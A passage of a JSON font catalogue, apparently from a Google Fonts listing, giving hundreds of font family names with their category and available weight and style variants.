Vibes","category":"handwriting","variants":["regular"]},{"family":"Sintony","category":"sans-serif","variants":["regular","700"]},{"family":"Khand","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Bevan","category":"display","variants":["regular"]},{"family":"Kalam","category":"handwriting","variants":["300","regular","700"]},{"family":"Days One","category":"sans-serif","variants":["regular"]},{"family":"Bangers","category":"display","variants":["regular"]},{"family":"Rajdhani","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Droid Sans Mono","category":"monospace","variants":["regular"]},{"family":"Kreon","category":"serif","variants":["300","regular","700"]},{"family":"Rambla","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Shrikhand","category":"display","variants":["regular"]},{"family":"Fredoka One","category":"display","variants":["regular"]},{"family":"Shadows Into Light Two","category":"handwriting","variants":["regular"]},{"family":"Playball","category":"display","variants":["regular"]},{"family":"Neuton","category":"serif","variants":["200","300","regular","italic","700","800"]},{"family":"Copse","category":"serif","variants":["regular"]},{"family":"Didact Gothic","category":"sans-serif","variants":["regular"]},{"family":"Signika Negative","category":"sans-serif","variants":["300","regular","600","700"]},{"family":"Amiri","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Gentium Book Basic","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Glegoo","category":"serif","variants":["regular","700"]},{"family":"Oleo Script","category":"display","variants":["regular","700"]},{"family":"Voltaire","category":"sans-serif","variants":["regular"]},{"family":"Actor","category":"sans-serif","variants":["regular"]},{"family":"Amaranth","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Paytone One","category":"sans-serif","variants":["regular"]},{"family":"Volkhov","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Sorts Mill Goudy","category":"serif","variants":["regular","italic"]},{"family":"Bad Script","category":"handwriting","variants":["regular"]},{"family":"Coda","category":"display","variants":["regular","800"]},{"family":"Damion","category":"handwriting","variants":["regular"]},{"family":"Sacramento","category":"handwriting","variants":["regular"]},{"family":"Squada One","category":"display","variants":["regular"]},{"family":"Rock Salt","category":"handwriting","variants":["regular"]},{"family":"Adamina","category":"serif","variants":["regular"]},{"family":"Alice","category":"serif","variants":["regular"]},{"family":"Cantata One","category":"serif","variants":["regular"]},{"family":"Luckiest Guy","category":"display","variants":["regular"]},{"family":"Rochester","category":"handwriting","variants":["regular"]},{"family":"Covered By Your Grace","category":"handwriting","variants":["regular"]},{"family":"Heebo","category":"sans-serif","variants":["100","300","regular","500","700","800","900"]},{"family":"VT323","category":"monospace","variants":["regular"]},{"family":"Nothing You Could Do","category":"handwriting","variants":["regular"]},{"family":"Patrick Hand","category":"handwriting","variants":["regular"]},{"family":"Gentium Basic","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Nobile","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Rancho","category":"handwriting","variants":["regular"]},{"family":"Marck Script","category":"handwriting","variants":["regular"]},{"family":"Special Elite","category":"display","variants":["regular"]},{"family":"Julius Sans One","category":"sans-serif","variants":["regular"]},{"family":"Varela","category":"sans-serif","variants":["regular"]},{"family":"PT Mono","category":"monospace","variants":["regular"]},{"family":"Alex Brush","category":"handwriting","variants":["regular"]},{"family":"Homemade Apple","category":"handwriting","variants":["regular"]},{"family":"Scada","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Jura","category":"sans-serif","variants":["300","regular","500","600"]},{"family":"Antic","category":"sans-serif","variants":["regular"]},{"family":"Gochi Hand","category":"handwriting","variants":["regular"]},{"family":"Sarala","category":"sans-serif","variants":["regular","700"]},{"family":"Electrolize","category":"sans-serif","variants":["regular"]},{"family":"Sigmar One","category":"display","variants":["regular"]},{"family":"Candal","category":"sans-serif","variants":["regular"]},{"family":"Prata","category":"serif","variants":["regular"]},{"family":"Homenaje","category":"sans-serif","variants":["regular"]},{"family":"Pinyon Script","category":"handwriting","variants":["regular"]},{"family":"Unica One","category":"display","variants":["regular"]},{"family":"Basic","category":"sans-serif","variants":["regular"]},{"family":"Neucha","category":"handwriting","variants":["regular"]},{"family":"Convergence","category":"sans-serif","variants":["regular"]},{"family":"Molengo","category":"sans-serif","variants":["regular"]},{"family":"Caveat Brush","category":"handwriting","variants":["regular"]},{"family":"Monoton","category":"display","variants":["regular"]},{"family":"Calligraffitti","category":"handwriting","variants":["regular"]},{"family":"Kameron","category":"serif","variants":["regular","700"]},{"family":"Share","category":"display","variants":["regular","italic","700","700italic"]},{"family":"Alegreya Sans SC","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"]},{"family":"Enriqueta","category":"serif","variants":["regular","700"]},{"family":"Martel","category":"serif","variants":["200","300","regular","600","700","800","900"]},{"family":"Black Ops One","category":"display","variants":["regular"]},{"family":"Just Another Hand","category":"handwriting","variants":["regular"]},{"family":"Caveat","category":"handwriting","variants":["regular","700"]},{"family":"PT Serif Caption","category":"serif","variants":["regular","italic"]},{"family":"Ultra","category":"serif","variants":["regular"]},{"family":"Ubuntu Mono","category":"monospace","variants":["regular","italic","700","700italic"]},{"family":"Carme","category":"sans-serif","variants":["regular"]},{"family":"Cousine","category":"monospace","variants":["regular","italic","700","700italic"]},{"family":"Cherry Cream Soda","category":"display","variants":["regular"]},{"family":"Reenie Beanie","category":"handwriting","variants":["regular"]},{"family":"Hind Siliguri","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Bubblegum Sans","category":"display","variants":["regular"]},{"family":"Aldrich","category":"sans-serif","variants":["regular"]},{"family":"Lustria","category":"serif","variants":["regular"]},{"family":"Alef","category":"sans-serif","variants":["regular","700"]},{"family":"Freckle Face","category":"display","variants":["regular"]},{"family":"Fanwood Text","category":"serif","variants":["regular","italic"]},{"family":"Advent Pro","category":"sans-serif","variants":["100","200","300","regular","500","600","700"]},{"family":"Allura","category":"handwriting","variants":["regular"]},{"family":"Ceviche One","category":"display","variants":["regular"]},{"family":"Press Start 2P","category":"display","variants":["regular"]},{"family":"Overlock","category":"display","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Niconne","category":"handwriting","variants":["regular"]},{"family":"Limelight","category":"display","variants":["regular"]},{"family":"Frank Ruhl Libre","category":"sans-serif","variants":["300","regular","500","700","900"]},{"family":"Allerta Stencil","category":"sans-serif","variants":["regular"]},{"family":"Marcellus","category":"serif","variants":["regular"]},{"family":"Pragati Narrow","category":"sans-serif","variants":["regular","700"]},{"family":"Michroma","category":"sans-serif","variants":["regular"]},{"family":"Fauna One","category":"serif","variants":["regular"]},{"family":"Syncopate","category":"sans-serif","variants":["regular","700"]},{"family":"Telex","category":"sans-serif","variants":["regular"]},{"family":"Marvel","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Cabin Sketch","category":"display","variants":["regular","700"]},{"family":"Hanuman","category":"serif","variants":["regular","700"]},{"family":"Cairo","category":"sans-serif","variants":["200","300","regular","600","700","900"]},{"family":"Chivo","category":"sans-serif","variants":["300","300italic","regular","italic","700","700italic","900","900italic"]},{"family":"Allerta","category":"sans-serif","variants":["regular"]},{"family":"Fugaz One","category":"display","variants":["regular"]},{"family":"Viga","category":"sans-serif","variants":["regular"]},{"family":"Ruslan Display","category":"display","variants":["regular"]},{"family":"Nixie One","category":"display","variants":["regular"]},{"family":"Marmelad","category":"sans-serif","variants":["regular"]},{"family":"Average","category":"serif","variants":["regular"]},{"family":"Spinnaker","category":"sans-serif","variants":["regular"]},{"family":"Leckerli One","category":"handwriting","variants":["regular"]},{"family":"Judson","category":"serif","variants":["regular","italic","700"]},{"family":"Lusitana","category":"serif","variants":["regular","700"]},{"family":"Montserrat Alternates","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Contrail One","category":"display","variants":["regular"]},{"family":"Oranienbaum","category":"serif","variants":["regular"]},{"family":"Hind Vadodara","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Rufina","category":"serif","variants":["regular","700"]},{"family":"Quantico","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Concert One","category":"display","variants":["regular"]},{"family":"Marcellus SC","category":"serif","variants":["regular"]},{"family":"Jockey One","category":"sans-serif","variants":["regular"]},{"family":"Parisienne","category":"handwriting","variants":["regular"]},{"family":"Carter One","category":"display","variants":["regular"]},{"family":"Arbutus Slab","category":"serif","variants":["regular"]},{"family":"Slabo 13px","category":"serif","variants":["regular"]},{"family":"Tauri","category":"sans-serif","variants":["regular"]},{"family":"Goudy Bookletter 1911","category":"serif","variants":["regular"]},{"family":"Carrois Gothic","category":"sans-serif","variants":["regular"]},{"family":"Sue Ellen Francisco","category":"handwriting","variants":["regular"]},{"family":"Walter Turncoat","category":"handwriting","variants":["regular"]},{"family":"Annie Use Your Telescope","category":"handwriting","variants":["regular"]},{"family":"Puritan","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Grand Hotel","category":"handwriting","variants":["regular"]},{"family":"Yesteryear","category":"handwriting","variants":["regular"]},{"family":"Jaldi","category":"sans-serif","variants":["regular","700"]},{"family":"Khula","category":"sans-serif","variants":["300","regular","600","700","800"]},{"family":"Cinzel Decorative","category":"display","variants":["regular","700","900"]},{"family":"Crafty Girls","category":"handwriting","variants":["regular"]},{"family":"Merienda","category":"handwriting","variants":["regular","700"]},{"family":"Hind Guntur","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Cutive","category":"serif","variants":["regular"]},{"family":"Prompt","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Coustard","category":"serif","variants":["regular","900"]},{"family":"Arima Madurai","category":"display","variants":["100","200","300","regular","500","700","800","900"]},{"family":"Doppio One","category":"sans-serif","variants":["regular"]},{"family":"Radley","category":"serif","variants":["regular","italic"]},{"family":"Fontdiner Swanky","category":"display","variants":["regular"]},{"family":"Iceland","category":"display","variants":["regular"]},{"family":"Alegreya SC","category":"serif","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Halant","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Schoolbell","category":"handwriting","variants":["regular"]},{"family":"Waiting for the Sunrise","category":"handwriting","variants":["regular"]},{"family":"Italianno","category":"handwriting","variants":["regular"]},{"family":"Fredericka the Great","category":"display","variants":["regular"]},{"family":"Average Sans","category":"sans-serif","variants":["regular"]},{"family":"Rosario","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Mr Dafoe","category":"handwriting","variants":["regular"]},{"family":"Port Lligat Slab","category":"serif","variants":["regular"]},{"family":"Aclonica","category":"sans-serif","variants":["regular"]},{"family":"Graduate","category":"display","variants":["regular"]},{"family":"Racing Sans One","category":"display","variants":["regular"]},{"family":"Berkshire Swash","category":"handwriting","variants":["regular"]},{"family":"Forum","category":"display","variants":["regular"]},{"family":"Anonymous Pro","category":"monospace","variants":["regular","italic","700","700italic"]},{"family":"Love Ya Like A Sister","category":"display","variants":["regular"]},{"family":"Nunito Sans","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Magra","category":"sans-serif","variants":["regular","700"]},{"family":"Lateef","category":"handwriting","variants":["regular"]},{"family":"Assistant","category":"sans-serif","variants":["200","300","regular","600","700","800"]},{"family":"Six Caps","category":"sans-serif","variants":["regular"]},{"family":"Gilda Display","category":"serif","variants":["regular"]},{"family":"Oregano","category":"display","variants":["regular","italic"]},{"family":"Metrophobic","category":"sans-serif","variants":["regular"]},{"family":"Lalezar","category":"display","variants":["regular"]},{"family":"Caudex","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Kelly Slab","category":"display","variants":["regular"]},{"family":"Reem Kufi","category":"sans-serif","variants":["regular"]},{"family":"Cambay","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Gruppo","category":"display","variants":["regular"]},{"family":"Give You Glory","category":"handwriting","variants":["regular"]},{"family":"GFS Didot","category":"serif","variants":["regular"]},{"family":"Duru Sans","category":"sans-serif","variants":["regular"]},{"family":"Andika","category":"sans-serif","variants":["regular"]},{"family":"Tenor Sans","category":"sans-serif","variants":["regular"]},{"family":"Knewave","category":"display","variants":["regular"]},{"family":"Averia Serif Libre","category":"display","variants":["300","300italic","regular","italic","700","700italic"]},{"family":"Eczar","category":"serif","variants":["regular","500","600","700","800"]},{"family":"Inder","category":"sans-serif","variants":["regular"]},{"family":"Martel Sans","category":"sans-serif","variants":["200","300","regular","600","700","800","900"]},{"family":"Trocchi","category":"serif","variants":["regular"]},{"family":"Wire One","category":"sans-serif","variants":["regular"]},{"family":"Petit Formal Script","category":"handwriting","variants":["regular"]},{"family":"Mako","category":"sans-serif","variants":["regular"]},{"family":"Frijole","category":"display","variants":["regular"]},{"family":"Zeyada","category":"handwriting","variants":["regular"]},{"family":"Slackey","category":"display","variants":["regular"]},{"family":"Karma","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Mate","category":"serif","variants":["regular","italic"]},{"family":"Belleza","category":"sans-serif","variants":["regular"]},{"family":"Montez","category":"handwriting","variants":["regular"]},{"family":"Quando","category":"serif","variants":["regular"]},{"family":"Capriola","category":"sans-serif","variants":["regular"]},{"family":"Lilita One","category":"display","variants":["regular"]},{"family":"Trirong","category":"serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Lekton","category":"sans-serif","variants":["regular","italic","700"]},{"family":"Just Me Again Down Here","category":"handwriting","variants":["regular"]},{"family":"Bowlby One SC","category":"display","variants":["regular"]},{"family":"The Girl Next Door","category":"handwriting","variants":["regular"]},{"family":"Happy Monkey","category":"display","variants":["regular"]},{"family":"Merienda One","category":"handwriting","variants":["regular"]},{"family":"Alike","category":"serif","variants":["regular"]},{"family":"Chelsea Market","category":"display","variants":["regular"]},{"family":"Unkempt","category":"display","variants":["regular","700"]},{"family":"Anaheim","category":"sans-serif","variants":["regular"]},{"family":"Strait","category":"sans-serif","variants":["regular"]},{"family":"Brawler","category":"serif","variants":["regular"]},{"family":"Clicker Script","category":"handwriting","variants":["regular"]},{"family":"Delius","category":"handwriting","variants":["regular"]},{"family":"Mouse Memoirs","category":"sans-serif","variants":["regular"]},{"family":"IM Fell Double Pica","category":"serif","variants":["regular","italic"]},{"family":"Crushed","category":"display","variants":["regular"]},{"family":"Rammetto One","category":"display","variants":["regular"]},{"family":"Prosto One","category":"display","variants":["regular"]},{"family":"Kranky","category":"display","variants":["regular"]},{"family":"IM Fell English","category":"serif","variants":["regular","italic"]},{"family":"Aladin","category":"handwriting","variants":["regular"]},{"family":"Mr De Haviland","category":"handwriting","variants":["regular"]},{"family":"NTR","category":"sans-serif","variants":["regular"]},{"family":"Londrina Solid","category":"display","variants":["regular"]},{"family":"Skranji","category":"display","variants":["regular","700"]},{"family":"Allan","category":"display","variants":["regular","700"]},{"family":"Baumans","category":"display","variants":["regular"]},{"family":"Ovo","category":"serif","variants":["regular"]},{"family":"Changa","category":"sans-serif","variants":["200","300","regular","500","600","700","800"]},{"family":"Lemon","category":"display","variants":["regular"]},{"family":"Federo","category":"sans-serif","variants":["regular"]},{"family":"Herr Von Muellerhoff","category":"handwriting","variants":["regular"]},{"family":"Arizonia","category":"handwriting","variants":["regular"]},{"family":"Bowlby One","category":"display","variants":["regular"]},{"family":"Orienta","category":"sans-serif","variants":["regular"]},{"family":"Short Stack","category":"handwriting","variants":["regular"]},{"family":"Bungee Inline","category":"display","variants":["regular"]},{"family":"Andada","category":"serif","variants":["regular"]},{"family":"Baloo Paaji","category":"display","variants":["regular"]},{"family":"Oxygen Mono","category":"monospace","variants":["regular"]},{"family":"Yeseva One","category":"display","variants":["regular"]},{"family":"UnifrakturMaguntia","category":"display","variants":["regular"]},{"family":"Bentham","category":"serif","variants":["regular"]},{"family":"Londrina Outline","category":"display","variants":["regular"]},{"family":"Pompiere","category":"display","variants":["regular"]},{"family":"Gabriela","category":"serif","variants":["regular"]},{"family":"Qwigley","category":"handwriting","variants":["regular"]},{"family":"Nova Square","category":"display","variants":["regular"]},{"family":"Poly","category":"serif","variants":["regular","italic"]},{"family":"Sniglet","category":"display","variants":["regular","800"]},{"family":"Patrick Hand SC","category":"handwriting","variants":["regular"]},{"family":"Gravitas One","category":"display","variants":["regular"]},{"family":"Khmer","category":"display","variants":["regular"]},{"family":"Shojumaru","category":"display","variants":["regular"]},{"family":"Kurale","category":"serif","variants":["regular"]},{"family":"Gafata","category":"sans-serif","variants":["regular"]},{"family":"Biryani","category":"sans-serif","variants":["200","300","regular","600","700","800","900"]},{"family":"Cambo","category":"serif","variants":["regular"]},{"family":"Titan One","category":"display","variants":["regular"]},{"family":"Carrois Gothic SC","category":"sans-serif","variants":["regular"]},{"family":"La Belle Aurore","category":"handwriting","variants":["regular"]},{"family":"Holtwood One SC","category":"serif","variants":["regular"]},{"family":"Oleo Script Swash Caps","category":"display","variants":["regular","700"]},{"family":"Headland One","category":"serif","variants":["regular"]},{"family":"Cherry Swash","category":"display","variants":["regular","700"]},{"family":"Belgrano","category":"serif","variants":["regular"]},{"family":"Norican","category":"handwriting","variants":["regular"]},{"family":"Mountains of Christmas","category":"display","variants":["regular","700"]},{"family":"Julee","category":"handwriting","variants":["regular"]},{"family":"Ramabhadra","category":"sans-serif","variants":["regular"]},{"family":"Mallanna","category":"sans-serif","variants":["regular"]},{"family":"Kristi","category":"handwriting","variants":["regular"]},{"family":"Imprima","category":"sans-serif","variants":["regular"]},{"family":"Lily Script One","category":"display","variants":["regular"]},{"family":"Chau Philomene One","category":"sans-serif","variants":["regular","italic"]},{"family":"Bilbo Swash Caps","category":"handwriting","variants":["regular"]},{"family":"Finger Paint","category":"display","variants":["regular"]},{"family":"Voces","category":"display","variants":["regular"]},{"family":"Itim","category":"handwriting","variants":["regular"]},{"family":"Megrim","category":"display","variants":["regular"]},{"family":"Simonetta","category":"display","variants":["regular","italic","900","900italic"]},{"family":"Cutive Mono","category":"monospace","variants":["regular"]},{"family":"Stardos Stencil","category":"display","variants":["regular","700"]},{"family":"IM Fell DW Pica","category":"serif","variants":["regular","italic"]},{"family":"Unna","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Loved by the King","category":"handwriting","variants":["regular"]},{"family":"Prociono","category":"serif","variants":["regular"]},{"family":"Corben","category":"display","variants":["regular","700"]},{"family":"Amiko","category":"sans-serif","variants":["regular","600","700"]},{"family":"Denk One","category":"sans-serif","variants":["regular"]},{"family":"Palanquin","category":"sans-serif","variants":["100","200","300","regular","500","600","700"]},{"family":"Baloo","category":"display","variants":["regular"]},{"family":"Fondamento","category":"handwriting","variants":["regular","italic"]},{"family":"Seaweed Script","category":"display","variants":["regular"]},{"family":"Shanti","category":"sans-serif","variants":["regular"]},{"family":"Wendy One","category":"sans-serif","variants":["regular"]},{"family":"Raleway Dots","category":"display","variants":["regular"]},{"family":"Amethysta","category":"serif","variants":["regular"]},{"family":"Vast Shadow","category":"display","variants":["regular"]},{"family":"Stalemate","category":"handwriting","variants":["regular"]},{"family":"Fira Mono","category":"monospace","variants":["regular","500","700"]},{"family":"Expletus Sans","category":"display","variants":["regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Scheherazade","category":"serif","variants":["regular","700"]},{"family":"Fenix","category":"serif","variants":["regular"]},{"family":"Delius Swash Caps","category":"handwriting","variants":["regular"]},{"family":"Rouge Script","category":"handwriting","variants":["regular"]},{"family":"Life Savers","category":"display","variants":["regular","700"]},{"family":"IM Fell English SC","category":"serif","variants":["regular"]},{"family":"Meddon","category":"handwriting","variants":["regular"]},{"family":"Tienne","category":"serif","variants":["regular","700","900"]},{"family":"Over the Rainbow","category":"handwriting","variants":["regular"]},{"family":"Share Tech Mono","category":"monospace","variants":["regular"]},{"family":"Abhaya Libre","category":"serif","variants":["regular","500","600","700","800"]},{"family":"Kotta One","category":"serif","variants":["regular"]},{"family":"Pridi","category":"serif","variants":["200","300","regular","500","600","700"]},{"family":"Euphoria Script","category":"handwriting","variants":["regular"]},{"family":"Engagement","category":"handwriting","variants":["regular"]},{"family":"Podkova","category":"serif","variants":["regular","500","600","700","800"]},{"family":"Salsa","category":"display","variants":["regular"]},{"family":"Sofia","category":"handwriting","variants":["regular"]},{"family":"Suranna","category":"serif","variants":["regular"]},{"family":"Mada","category":"sans-serif","variants":["300","regular","500","900"]},{"family":"Chonburi","category":"display","variants":["regular"]},{"family":"Ledger","category":"serif","variants":["regular"]},{"family":"Italiana","category":"serif","variants":["regular"]},{"family":"Dawning of a New Day","category":"handwriting","variants":["regular"]},{"family":"Nokora","category":"serif","variants":["regular","700"]},{"family":"Angkor","category":"display","variants":["regular"]},{"family":"Medula One","category":"display","variants":["regular"]},{"family":"Taviraj","category":"serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Vampiro One","category":"display","variants":["regular"]},{"family":"Englebert","category":"sans-serif","variants":["regular"]},{"family":"Nova Mono","category":"monospace","variants":["regular"]},{"family":"Dorsa","category":"sans-serif","variants":["regular"]},{"family":"Averia Sans Libre","category":"display","variants":["300","300italic","regular","italic","700","700italic"]},{"family":"Cedarville Cursive","category":"handwriting","variants":["regular"]},{"family":"Geo","category":"sans-serif","variants":["regular","italic"]},{"family":"Rationale","category":"sans-serif","variants":["regular"]},{"family":"Balthazar","category":"serif","variants":["regular"]},{"family":"Sunshiney","category":"handwriting","variants":["regular"]},{"family":"Aguafina Script","category":"handwriting","variants":["regular"]},{"family":"Mystery Quest","category":"display","variants":["regular"]},{"family":"Fjord One","category":"serif","variants":["regular"]},{"family":"Fira Sans Extra Condensed","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Kadwa","category":"serif","variants":["regular","700"]},{"family":"McLaren","category":"display","variants":["regular"]},{"family":"Rye","category":"display","variants":["regular"]},{"family":"Sail","category":"display","variants":["regular"]},{"family":"Athiti","category":"sans-serif","variants":["200","300","regular","500","600","700"]},{"family":"Rosarivo","category":"serif","variants":["regular","italic"]},{"family":"Kite One","category":"sans-serif","variants":["regular"]},{"family":"Odor Mean Chey","category":"display","variants":["regular"]},{"family":"Numans","category":"sans-serif","variants":["regular"]},{"family":"Artifika","category":"serif","variants":["regular"]},{"family":"Poller One","category":"display","variants":["regular"]},{"family":"Gurajada","category":"serif","variants":["regular"]},{"family":"Inika","category":"serif","variants":["regular","700"]},{"family":"Mandali","category":"sans-serif","variants":["regular"]},{"family":"Bungee Shade","category":"display","variants":["regular"]},{"family":"Suwannaphum","category":"display","variants":["regular"]},{"family":"Mate SC","category":"serif","variants":["regular"]},{"family":"Creepster","category":"display","variants":["regular"]},{"family":"Arsenal","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Montserrat Subrayada","category":"sans-serif","variants":["regular","700"]},{"family":"Metamorphous","category":"display","variants":["regular"]},{"family":"Palanquin Dark","category":"sans-serif","variants":["regular","500","600","700"]},{"family":"Coda Caption","category":"sans-serif","variants":["800"]},{"family":"Dynalight","category":"display","variants":["regular"]},{"family":"Maitree","category":"serif","variants":["200","300","regular","500","600","700"]},{"family":"IM Fell French Canon","category":"serif","variants":["regular","italic"]},{"family":"Amarante","category":"display","variants":["regular"]},{"family":"Quintessential","category":"handwriting","variants":["regular"]},{"family":"Codystar","category":"display","variants":["300","regular"]},{"family":"Cantora One","category":"sans-serif","variants":["regular"]},{"family":"Aref Ruqaa","category":"serif","variants":["regular","700"]},{"family":"Griffy","category":"display","variants":["regular"]},{"family":"Revalia","category":"display","variants":["regular"]},{"family":"Buenard","category":"serif","variants":["regular","700"]},{"family":"Donegal One","category":"serif","variants":["regular"]},{"family":"IM Fell DW Pica SC","category":"serif","variants":["regular"]},{"family":"Habibi","category":"serif","variants":["regular"]},{"family":"Share Tech","category":"sans-serif","variants":["regular"]},{"family":"Flamenco","category":"display","variants":["300","regular"]},{"family":"Mitr","category":"sans-serif","variants":["200","300","regular","500","600","700"]},{"family":"Maiden Orange","category":"display","variants":["regular"]},{"family":"Diplomata SC","category":"display","variants":["regular"]},{"family":"Cormorant","category":"serif","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Delius Unicase","category":"handwriting","variants":["regular","700"]},{"family":"Stoke","category":"serif","variants":["300","regular"]},{"family":"Vibur","category":"handwriting","variants":["regular"]},{"family":"Sarpanch","category":"sans-serif","variants":["regular","500","600","700","800","900"]},{"family":"Baloo Bhaina","category":"display","variants":["regular"]},{"family":"Baloo Tamma","category":"display","variants":["regular"]},{"family":"Averia Libre","category":"display","variants":["300","300italic","regular","italic","700","700italic"]},{"family":"Esteban","category":"serif","variants":["regular"]},{"family":"Battambang","category":"display","variants":["regular","700"]},{"family":"Bokor","category":"display","variants":["regular"]},{"family":"Wallpoet","category":"display","variants":["regular"]},{"family":"IM Fell Great Primer","category":"serif","variants":["regular","italic"]},{"family":"Tulpen One","category":"display","variants":["regular"]},{"family":"Proza Libre","category":"sans-serif","variants":["regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"]},{"family":"IM Fell French Canon SC","category":"serif","variants":["regular"]},{"family":"Vesper Libre","category":"serif","variants":["regular","500","700","900"]},{"family":"Rozha One","category":"serif","variants":["regular"]},{"family":"Sansita","category":"sans-serif","variants":["regular","italic","700","700italic","800","800italic","900","900italic"]},{"family":"Kavoon","category":"display","variants":["regular"]},{"family":"Della Respira","category":"serif","variants":["regular"]},{"family":"Milonga","category":"display","variants":["regular"]},{"family":"Condiment","category":"handwriting","variants":["regular"]},{"family":"Junge","category":"serif","variants":["regular"]},{"family":"New Rocker","category":"display","variants":["regular"]},{"family":"Chicle","category":"display","variants":["regular"]},{"family":"Mrs Saint Delafield","category":"handwriting","variants":["regular"]},{"family":"League Script","category":"handwriting","variants":["regular"]},{"family":"Miniver","category":"display","variants":["regular"]},{"family":"Galindo","category":"display","variants":["regular"]},{"family":"Moul","category":"display","variants":["regular"]},{"family":"Amatica SC","category":"display","variants":["regular","700"]},{"family":"Stint Ultra Expanded","category":"display","variants":["regular"]},{"family":"Yrsa","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Stint Ultra Condensed","category":"display","variants":["regular"]},{"family":"Suez One","category":"serif","variants":["regular"]},{"family":"Text Me One","category":"sans-serif","variants":["regular"]},{"family":"Buda","category":"display","variants":["300"]},{"family":"Ruluko","category":"sans-serif","variants":["regular"]},{"family":"Sonsie One","category":"display","variants":["regular"]},{"family":"Krona One","category":"sans-serif","variants":["regular"]},{"family":"Elsie","category":"display","variants":["regular","900"]},{"family":"Pangolin","category":"handwriting","variants":["regular"]},{"family":"Linden Hill","category":"serif","variants":["regular","italic"]},{"family":"Secular One","category":"sans-serif","variants":["regular"]},{"family":"IM Fell Double Pica SC","category":"serif","variants":["regular"]},{"family":"Alike Angular","category":"serif","variants":["regular"]},{"family":"Sancreek","category":"display","variants":["regular"]},{"family":"Bilbo","category":"handwriting","variants":["regular"]},{"family":"Antic Didone","category":"serif","variants":["regular"]},{"family":"Paprika","category":"display","variants":["regular"]},{"family":"Asul","category":"sans-serif","variants":["regular","700"]},{"family":"David Libre","category":"serif","variants":["regular","500","700"]},{"family":"Almendra","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Sriracha","category":"handwriting","variants":["regular"]},{"family":"Miriam Libre","category":"sans-serif","variants":["regular","700"]},{"family":"Ribeye","category":"display","variants":["regular"]},{"family":"Swanky and Moo Moo","category":"handwriting","variants":["regular"]},{"family":"Trade Winds","category":"display","variants":["regular"]},{"family":"Overlock SC","category":"display","variants":["regular"]},{"family":"Nova Round","category":"display","variants":["regular"]},{"family":"Cagliostro","category":"sans-serif","variants":["regular"]},{"family":"Glass Antiqua","category":"display","variants":["regular"]},{"family":"Offside","category":"display","variants":["regular"]},{"family":"El Messiri","category":"sans-serif","variants":["regular","500","600","700"]},{"family":"Bigshot One","category":"display","variants":["regular"]},{"family":"IM Fell Great Primer SC","category":"serif","variants":["regular"]},{"family":"Akronim","category":"display","variants":["regular"]},{"family":"Fira Sans Condensed","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Nosifer","category":"display","variants":["regular"]},{"family":"Autour One","category":"display","variants":["regular"]},{"family":"Pirata One","category":"display","variants":["regular"]},{"family":"Port Lligat Sans","category":"sans-serif","variants":["regular"]},{"family":"Scope One","category":"serif","variants":["regular"]},{"family":"Sumana","category":"serif","variants":["regular","700"]},{"family":"Lemonada","category":"display","variants":["300","regular","600","700"]},{"family":"Montaga","category":"serif","variants":["regular"]},{"family":"Iceberg","category":"display","variants":["regular"]},{"family":"Ruthie","category":"handwriting","variants":["regular"]},{"family":"Content","category":"display","variants":["regular","700"]},{"family":"Henny Penny","category":"display","variants":["regular"]},{"family":"Nova Slim","category":"display","variants":["regular"]},{"family":"Hind Madurai","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Harmattan","category":"sans-serif","variants":["regular"]},{"family":"UnifrakturCook","category":"display","variants":["700"]},{"family":"Sarina","category":"display","variants":["regular"]},{"family":"Bubbler One","category":"sans-serif","variants":["regular"]},{"family":"Dekko","category":"handwriting","variants":["regular"]},{"family":"Redressed","category":"handwriting","variants":["regular"]},{"family":"Laila","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Faster One","category":"display","variants":["regular"]},{"family":"Arya","category":"sans-serif","variants":["regular","700"]},{"family":"Peralta","category":"display","variants":["regular"]},{"family":"Meie 